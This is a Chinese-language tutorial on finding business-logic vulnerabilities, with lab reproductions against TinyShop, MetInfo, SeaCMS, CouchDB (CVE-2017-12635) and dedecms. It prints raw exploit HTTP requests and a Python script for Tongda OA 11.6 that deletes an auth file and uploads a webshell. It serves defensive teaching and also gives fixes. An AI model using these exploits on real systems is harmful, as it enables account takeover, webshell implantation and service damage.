Src挖掘技巧分享 | 谈谈业务逻辑漏洞
本文首发于奇安信攻防社区
原文链接:https://forum.butian.net/share/1453
谈谈业务逻辑漏洞
业务逻辑漏洞简介
业务逻辑漏洞,是由于程序逻辑不严谨或逻辑太过复杂,导致一些逻辑分支不能正常处理或处理错误,这样的漏洞统称为业务逻辑漏洞。
简单理解:就是编程人员的思维逻辑不够严谨导致攻击者有机可乘的漏洞
逻辑漏洞还是一种虽然没有在owasp top10
中提及到,但是往往会存在的漏洞。好像一名隐士,大隐隐于市,然而造成的破坏可能一点不比sql注入,xss等漏洞小。如下是逻辑漏洞的top10挖掘方向:
根据漏洞出现位置来总结
逻辑漏洞大概出现在如下几处。下面我们根据出现位置来一处一处进行总结
登陆部分存在的逻辑漏洞
暴力破解用户名或密码
暴力破解用户名密码的情况,一般出现在登陆部分没有验证码机制,没有根据用户名限制失败次数,没有根据ip限制失败次数等情况下。
通常思路:
直接拿密码字典爆破某一个用户名
拿固定的弱口令密码,去跑top xxx的用户名
如果只是用户名限制失败次数,可以使用思路2的方法
在存在返回提示用户名错误或者密码错误的情况下,可以分别爆用户名和密码
常见限制:有时候会发现用户名或者密码是密文加密,这时可能是通过前端或者其他方式加密,对于简单的来说base64
编码和md5
的签名是很好识破的,在爆破的时候可以选择encode和hash
利用cookie&session
cookie伪造
Cookie伪造:通过修改 Cookie 中的某个参数来实现登录其他用户
测试方法:
1.使用一个账号登录,找一个可以证明身份的页面,例如首页的欢迎 xxx 或者是个人中心显示昵称的地方
2.刷新该页面拦截请求,观察 Cookie 中的字段和值,例如 userid=xxx,修改Cookie中的值,把 xxx 改成 admin
3.forword 放行,页面显示 admin 的信息,则存在此问题。
• 修复方法:对于客户端标识的用户信息,使用 Session 会话认证方式,避免通过 Cookie 去仿冒其他人的身份。
Session会话固定攻击
Session会话固定攻击:一种诱骗受害者使用攻击者指定的会话标识(Session id)的攻击手段,利用了服务器的session 不变的机制
攻击步骤:
1.攻击者通过某种手段重置目标用户的 Session id,然后监听用户会话状态
目标用户携带攻击者设定的Session id 登录站点
攻击者通过 Session id 获得合法会话
• 攻击者重置 Session id 的方法:通过xss,嗅探等方法取得用户的session,修改数据包。
• 修复方法:每次登陆成功之后重新生成session,sessionID闲置过久时,进行重置sessionID
案例-益云公益广告越权修改漏洞
用户A创建一个广告,记住id为420
用户B也创建个广告,进入修改页面,截断修改请求,并将id改为420
支付处存在的逻辑漏洞
支付处存在的逻辑漏洞很多,但是一言以蔽之:数据篡改。
下面我们先来看一个支付处逻辑漏洞的复现。
Tiny_shop CMS 逻辑漏洞复现
环境搭建
LAMP环境的安装直接省略掉了,phpstudy一把梭非常的舒适。将源码copy到phpstudy的WWW文件夹中,启动lamp环境,即可进入安装页面
http://127.0.0.1/TinyShop_v3.0/install/index.php?step=1
ps:环境搭建成功后,我发现访问index页面显示空白页面。在大佬的提醒下发现是自己php版本不对(7.x)换成php5.x版本再次访问即可
支付逻辑漏洞复现
首先点击最上方的登陆按钮,登陆默认账户 test@test.com 密码 test (自己注册的)
这里我们随便选择了一个商品,选择好产品参数之后,点击购买。
点击购买时,使用bp进行抓包,在数据包中,将表示商品数量的num变量改为负数,然后forward这个数据包。
这样就利用网站漏洞成功薅到了店家羊毛
除了上述修改商品数量的方法,支付处的逻辑漏洞还包含如下几种思路,由于操作比较简单且大同小异,这里为了节省篇幅只放利用思路。
修改商品编号
如果业务是通过商品编号来判断价格的话,可能存在只修改A商品编号为B商品编号,做到以A商品的价格购买B商品
条件竞争
支付处,多线程请求付款确认,结果如果余额为负数,则存在该漏洞
金额修改
金额直接写在了post
或者get
请求中,对其进行修改达到修改了商品金额的效果
充值中放弃订单未失效
在充值中选取大额充值订单,放弃订单,获得订单号,之后充值小额订单,拿到充值成功的界面,将订单号修改为放弃的大额订单,观察是否成功
业务办理处-越权漏洞
之前跟着ms08067的大佬学习的时候,刚好写过相关笔记,还有幸发在该组织公众号上了,这里扒过来
0x01前言:越权访问漏洞概念简析
”授权“与“验证”
了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写
“未授权访问”
未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。
那么,什么是越权漏洞?
由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
越权漏洞的产生原因
开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。
越权漏洞常见位置
修改、重置、找回其他账户密码
查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序等
与账户关联的权限操作
0x02 越权访问漏洞的两大分类
越权漏洞主要分为水平越权和垂直越权两大类。
水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。
例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。
垂直越权:指使用权限低的用户可以访问权限较高的用户
垂直越权危害:
• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。
• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐
例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)
关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了
0x03 越权访问漏洞实战课内复现
水平越权
metinfoV4.0越权漏洞复现
环境准备:
下载metinfoV4.0CMS源码进行网站搭建
下载地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip
其他版本下载地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(将x.x.x改成对应版本即可)
源码:MetInfo4.0.zip
下载后将源码解压至phpstudy的web根目录即可。
解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录
登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传
抓包修改useid为管理员id
成功修改管理员账号密码为123456,尝试登陆
成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传
查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径
使用冰蝎服务器端连接木马。成功执行
海洋cms v9 越权漏洞
环境准备
https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。
复现该漏洞需要注册两个网站账号
1.test@test.com/1234562.ms08067/123456
漏洞复现
分别用chrome 和微软两个浏览器登陆这两个账号
通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4
在另一账号test@test.com的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。
尝试使用新密码登陆ms08067账户,发现登陆成功。
垂直越权
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
环境搭建
使用虚拟机安装docker,vulhub
cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口
一个小报错处理
p.s:运行命令docker-compose up -d
这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令
sudo gpasswd -a ${USER} docker
然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。
漏洞原理分析
由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)
如:Erlang:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
JavaScript:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可以被利用于,非管理员用户赋予自身管理员身份权限。
参考文章:https://cloud.tencent.com/developer/article/1144778
漏洞复现
访问服务器ip:5984
并抓包将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}
通过新创建的用户qaq/666666成功登录
复现完记得销毁环境哦~目录中执行命令
docker-compose down -v
0x04 越权访问漏洞课外复现:
通达OA11.6版本越权漏洞复现
环境搭建
现在通达官网已经把版本升级到了11.7,所以下载11.6版本需要自己寻找资源
傻瓜式安装,配置界面如下。完成安装之后就可以暂时不用管它了。记得接触80端口占用(一般是要把phpstudy关掉)
安装完之后就可以访问网站首页了。这个漏洞复现手动过程比较容易,执行exp 写马就可以了
exp:
脚本内容如下,核心思路就是删除网站里的一个名为auth.inc.php的文件,进而越权拿shell
import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload=""print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意,该EXP不是无损EXP,会删除auth.inc.php让OA无法正常工作
蚁剑拿shell
程序执行之后出现了一个URL,为一句话木马所在位置。使用webshell管理工具(如蚁剑链接即可)
dedecms v5.7越权漏洞复现
环境搭建
利用phpstudy搭建,下载源码后copy进根目录安装即可
用户名admin 密码admin进入后台,系统设置->系统基本参数->会员设置 将是否开启会员功能一栏调为是
接着返回网站主页,注册一个账号,记得不要设施安全提示问题
接着回到后台将等待验证邮件修改为:”审核通过,提示填写完整信息”
进入 test123用户的个人中心,打开bp抓包,将DedeUserID_ckMD5覆盖为last_vid_ckMd5。修改完成后释放该包
此时发现test123用户变成了admin
使用F12打开控制台,进入储存,仍然是将DedeUserID_ckMD5覆盖为last_vid_ckMd5。将DedeUserID的值修改为test123.
刷新抓包,发送至repeater
将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
关闭代理访问即可修改管理员账户密码
0x05 后记
越权漏洞的产生归根究底,还是由于网站开发者和管理者授权意识的淡薄,授权的滥用。因此,授权应当遵守如下几条原则:
1.使用最小权限原则对用户进行赋权,对待权限做一只一毛都不多拔的铁公鸡
2.使用合理(严格)的权限校验规则;
3.使用后台登录状态作为条件进行权限判断(别动不动就瞎用前端传进来的条件)
密码找回处存在的逻辑漏洞
方法很多,思路重复,这里挑重要的讲
返回凭证
返回凭证的三种方式:
\1. url返回凭证
\2. 抓包返回凭证
\3. 凭证在页面中
方法:
1. URL返回凭证
使用firefox的firebug查看请求链接,看链接中是否有验证码等密码找回凭证
2. 抓包直接返回
根据手机号找回密码后抓包,可以发现验证码直接显示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理)
3. 密码找回凭证在页面中
通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示
邮箱弱token
1.Unix时间戳 + md5
通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串。字符串解密,类似 1491293277(10位),可以判断为Unix时间戳。
重置他人密码只需利用他人邮箱发送重置密码邮件,在短时间内对Unix时间戳进行暴力破解,即可获得重置密码的链接
用户名
重置密码链接直接使用用户名进行区别,改变用户名即可更改他人密码
服务器时间
利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差1-2,而且可以猜测
出为服务器时间。所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历随机 token,就可以构造出未
知帐号的密码找回链接
生成可控token
举例:
例如当我们通过邮箱找回密码,正常流程下抓包查看提交验证码后返回的数据,有加密字符串,这个加密字符串和后面重新设置新密码URL链接中的加密字符串一样,所以可以利用这个加密字符串实现新密码url中的加密字符串可控。于是根据上面提交验证码的抓包,修改User 为其他用户(User有可能会使用md5加密),发送就可以返回其他用户的加密字符串。接着重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处,直接修改URL链接,加入加密字符串,可 以直接绕过验证码,重置密码。
验证码处存在的逻辑漏洞
暴力破解:
要了解常见验证码机制:
有的验证码输入正确一次,在一定时间内不用再输入。
有的验证码输入正确一次,会在你session中设定一个值,告诉服务器你已经通过验证码验证了。
有的验证码因为逻辑问题只是一个摆设,正常的逻辑为先对比验证码是否正确,再检测账号密码是否正确,反过来了就变成了摆设
时间、次数突破:
概念:重复提交携带验证码的数据包,查看返回包,判断次数
测试方法:
填写正确登录信息和验证码 –> 抓取提交数据包 –> 重复提交该数据包 –> 查看是否登录成功 –> 登录成功则存在验证码重复使用问题
回显测试:
概念:验证码直接由客户端生成,在回显中显示,可通过浏览器工具直接查看
测试方法:
\1. 在源码中显示。源代码审计,搜索源码中有无验证码
\2. 在COOKIE中显示。抓包时分析COOKIE中是否含有验证码
绕过验证码:
漏洞成因:
由于逻辑设计缺陷,可绕过验证,比如直接删除COOKIE或验证码参数可绕过、当验证不通过清空session时。验证码参数值为空时绕过等
测试方法:
Step1.输入正确账户信息和错误验证码,登录时抓包
Step2.删除COOKIE
Step3.客户端登陆成功
特殊姿势:篡改手机号
在需要手机号的短信验证处,抓包修改手机号,可能做到非本账号手机号获取能够编辑本账号的验证码
后记
逻辑漏洞看似复杂,乱花渐欲迷人眼。然而其实思路非常单一:先前端后后端顺序枚举各处漏洞点。其实考察的是你的耐心,细心,专心。
参考链接
https://blog.csdn.net/szming_/article/details/85317010
https://blog.csdn.net/weixin_44288604/article/details/108144165